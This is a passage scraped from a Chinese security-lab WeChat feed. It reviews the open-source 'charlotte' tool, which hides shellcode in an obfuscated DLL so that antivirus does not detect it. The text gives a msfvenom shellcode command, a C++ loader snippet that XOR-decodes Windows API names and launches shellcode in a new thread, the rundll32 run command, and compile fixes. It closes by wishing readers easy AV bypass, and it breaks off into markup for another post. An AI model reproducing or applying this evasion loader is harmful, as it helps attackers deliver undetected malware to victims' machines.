break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">使用方法</span></strong></p></section></section></section><p><br/></p><p><span style="font-size: 14px;">需要的环境：python3 、C++编译环境（我测试的时候是用VS2017编译的，如果是Kali Linux需要使用apt-get install mingw-w64*命令安装相关编译环境）。</span><br/></p><p><span style="font-size: 14px;">先利用msf生成shellcode（这里为了方便测试直接生成弹计算器的shellcode）<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f raw -o beacon.bin</span></code></pre></section><p><img data-ratio="0.14431616341030196" data-w="2252" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=1c2724df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKHucQUCHoW3mAUmVZN87jFq3w6hicVialFjKa6xZJIaesPYGPmEwhBocQ%2F640%3Fwx_fmt%3Djpeg"/><br/></p><p><span style="font-size: 14px;">然后运行 python charlotte.py：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.49128296826106393" data-w="2237" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=a988ffc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKpxblhGHyVsZsLfuYdclicZ1bpq5r9fZJHWk7DIoky1DSuz1Dy7e9Vibg%2F640%3Fwx_fmt%3Djpeg"/><br/></span></p><p><span style="font-size: 14px;">生成后的dll文件就是需要的恶意文件了，执行方法 rundll32 charlotte.dll,随机函数名 <br/>具体的命令在运行charlotte.py脚本后会显示，如下图：<br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.36953125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd9c6b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKcic86Fk13XNSIib6MNqyWzeQYd5icqOgAoQ37cqiaOzricgc84OgphAnc2w%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;">Bypass AV 无压力。<br/></span>                               

                
                      <br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">源码分析</span></strong></p></section></section></section><p><br/></p><p><span style="font-size: 14px;">这个项目一共分为两个部分，大概的思路就是创建一个模板的C++文件，然后利用python对字符串的处理，来解决C++文件中windows api的混淆和 shellcode 的加密。（其实很简单，还是老一套），项目目录结构如下图：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.6139872842870118" data-w="1101" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=709a1279&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKTDteUpcveZvlciatXwHic9n1FyYjonvuDh16b23Fy8GFzk2fGgwXdXSw%2F640%3Fwx_fmt%3Dpng"/></span><br/><span style="font-size: 14px;">首先，我们来看下C++模板文件的关键代码：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span class="code-snippet_outer">    // If all good, launch the payload</span></code><code><span class="code-snippet_outer">    if ( rvba != 0 ) {</span></code><code><span class="code-snippet_outer">                XOR((char *) createthread, ct_len, ct_key, sizeof(ct_key));</span></code><code><span class="code-snippet_outer">                pCreateThread = GetProcAddress(GetModuleHandle(&#34;kernel32.dll&#34;), createthread);</span></code><code><span class="code-snippet_outer">            thba = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);</span></code><code><span class="code-snippet_outer">                XOR((char *) waitforsingleobject, wfso_len, wfso_key, sizeof(wfso_key));</span></code><code><span class="code-snippet_outer">            pWaitForSingleObject = GetProcAddress(GetModuleHandle(&#34;kernel32.dll&#34;), waitforsingleobject);</span></code><code><span class="code-snippet_outer">            pWaitForSingleObject(thba, -1);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    return TRUE;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span style="font-size: 14px;">可以看到，这个项目并没有用什么很复杂的技巧，模板C++的代码流程大概是这样的：<br/><strong>申请内存空间——&gt; 更改内存空间属性 ——&gt; 创建线程——&gt; 执行shellcode </strong><br/>不过在调用的函数的时候，都采用了使用GetProcAddress动态获取函数的方式，这样的方法应该是让大部分杀软无法通过导入表中的函数去判断程序的黑白。<br/></span></p><p><span style="font-size: 14px;">接下来，我们看py文件的内容：<br/>第一个部分，读取shellcode内容，还有准备需要混淆的api名字，获取key随机字符串。</span><br/></p><p><img data-ratio="0.4718208092485549" data-w="1384" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6b90f4eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKVdKmPicLFRWTjDH67VV9u3TO702ha2BflelhLjk8DAcQpuPHLZictVgg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">第二部分，将shellcode和相关api字符串通通用异或进行混淆：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.5074211502782932" data-w="1078" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b3b160b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKY5jhk3JXrFa6JkicwOibz27f9N0PjCHygrib2Ad2358j8EZArhG1zFqSg%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="font-size: 14px;">第三部分，将混淆后的字符串和混淆用的key替换模板中文件的对应部分：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.4714016341923319" data-w="1591" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f1b4a72c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKB3L9472gibDHoRRW8ocFD5HSGOiaAZZ5WN7HxPVzdCiaKehGZbTrIkGgA%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="font-size: 14px;">第四部分，用g++生成目标文件，清除中间产生的cpp文件：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.43080198722498225" data-w="1409" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8e284447&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlK95AicWCQOEsWqexaOPH74wFv8vOH6Wicrk9yUaWRTsYs9rT0WSzW5w9A%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="font-size: 14px;">                   <br/></span></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">总结</span></strong></p></section></section></section><p><br/></p><p><span style="font-size: 14px;">这个项目免杀的原因大概有以下几点：</span></p><ol class="list-paddingleft-2"><li style="font-size: 14px;"><p><span style="font-size: 14px;">VT的多引擎查杀是静态查杀，或者说由于生成的是动态链接库文件，使得杀毒引擎只能使用启发式查杀和动态查杀去判断黑白。</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">模板中的字符串赋值类似char buf[] = {&#39;h&#39;,&#39;e&#39;,&#39;l&#39;,&#39;l&#39;,&#39;o&#39;};。这样让字符串存在于text段，而非常见的rdata段，字符串数据和代码混在一起，让杀毒引擎难以快速识别里面的字符串。（之所以说难以识别，是因为用ida之类的软件还是能看出来的，但是那样要求去用反汇编引擎反编译，识别语法树之类的，操作时间太长，为了平衡杀毒效率和杀毒准确性，一般会在云平台上运行）</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">模板中调用windows api的使用都是动态加载，而且用字符串混淆的方式隐藏了api函数，而且每个字符串的key都不一样，导致杀毒引擎没法识别出本来的字符串，进一步识别。<br/>总得来说，这个项目在静态查杀方面已经做到了免杀当前所有杀毒引擎，是个挺不错得项目。</span></p></li><br/></ol><p><span style="font-size: 14px;">由于比较懒，并没有按照项目推荐去下g++环境踩坑，以下是在vs2017上存在得一些坑点，大家踩坑的时候自行斟酌。</span></p><p><span style="font-size: 14px;">这个项目的python脚本对g++编译过程是隐藏的，所以一些编译时可能有的错会难以发现。如果发现运行脚本后没有自动生成dll文件的话，建议从编译的步骤开始自个手动编。像我就将脚本移除cpp文件的部分注释了，然后手动编译（结果发现没环境，最后看到作者有写要下环境~）</span></p><p><img data-ratio="0.2805724197745013" data-w="2306" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=dce66625&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKo0VQwVlDsvLpv51ibm6BMibG2dk40W8aOrKicXxuNCjPbueG24OAWM8sg%2F640%3Fwx_fmt%3Djpeg"/></p><p><img data-ratio="0.21785940468651044" data-w="1579" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=44abbf95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKydhmNPXSvVElnDVBdBmx2T94CFDBzx1rktE6tLkGztXn5yLiczjicOWg%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;">模板c++文件中对于类型转化的报错，项目中源码如下图，在vs2017上编译的话是会报类型不匹配的错的需要用到类型强转：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.2558139534883721" data-w="1677" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2c3fe480&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKYLicecg73OwoARMLcRvPOCuBFIiaZjf9V3Cx40651EhDMgHPdJUSrLvQ%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="font-size: 14px;">改后的源码：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.2528052805280528" data-w="1515" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=639f5c73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKH9SEnsaiaOIrenzRBWN2YlphbsYWttKBdU1tzHjlJ6rppDmG2xK4Efg%2F640%3Fwx_fmt%3Dpng"/></span></p><p><span style="font-size: 14px;">模板c++文件中对字符串的处理并没有加结束符，会导致解密后运行报错，所以需要在字符串末尾加上 <strong>0x00</strong>，就像这样：<br/></span></p><p><span style="font-size: 14px;"><img data-ratio="0.17619872905834777" data-w="1731" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5d655b95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKMibU5VoJ6AYes9Ierk6OnjyVNp0roGcbygpO74TQ5d3lSsciacbS72Hw%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="font-size: 14px;">当然，可以在脚本里面直接加：</span><br/></p><p><img data-ratio="0.3629661751951431" data-w="2306" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=28a1f06a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKwyNawVskaUXbgt9AxPF3mkFeMcBSXR24LJpt1CTQINIibRiaK28W825Q%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;">模板文件中的函数类型没有赋值，所以也会报错。需要加上类型说明和强制转换：</span></p><p><img data-ratio="0.12027890761185357" data-w="1721" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=532433bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKEhmWQPBCEDUqXJGhzuXQ1PtNGA0Ro7KVBZZDfeP0brf6RzDwqEkQhA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.17281672816728166" data-w="1626" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a0d7b52a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibgq321Zxdn9KXiaIOlZGSlKiaNThF1AFD14mJSxHSrRxuwCmomWiaW8Do3ibHNe43CwuxyDufO6glvAQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">最后，祝大家上线如回家，免杀如喝水！！<br/></span></p><p><span style="font-size: 14px;">参考：</span><span style="font-size: 14px;"><a href="https://github.com/9emin1/charlotte" target="_blank">https://github.com/9emin1/charlotte</a></span><br/></p><p><span style="font-size: 14px;"><br/></span></p><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cH8sQ9I29jImmqjtDY6xIcSPKPJrhmbMSgCXfwMagX7QSISQlATIsrbm8LrPe1QU0ITJetpldhP2WQ/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section><p><span style="font-size: 14px;"></span><br/></p>



<p><a href="2247483912">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fb8b3b44&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483912%26idx%3D1%26sn%3D52c25b5966ce9644f6f9cace12c838c9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Jul 2021 19:35:00 +0800</pubDate>
    </item>
    <item>
      <title>针对一次非法资金盘的攻击</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483887&amp;idx=1&amp;sn=e4e044ec148934fd02650dd4031c67b3</link>
      <description>迂回渗透非法资金盘，成功落地诈骗团伙IP。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-07-03 20:35</span> <span style="display: inline-block;"></span>
</p>

<p>迂回渗透非法资金盘，成功落地诈骗团伙IP。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=23c6d12f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7lJib02iaN9tn2EYPxajZZleEX4qBhfmUET381jEsuPQyeS8zc2Ku64NA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p><span style="font-size: 14px;">         
                                
                                
                
               <br/></span></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)"><p><br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" 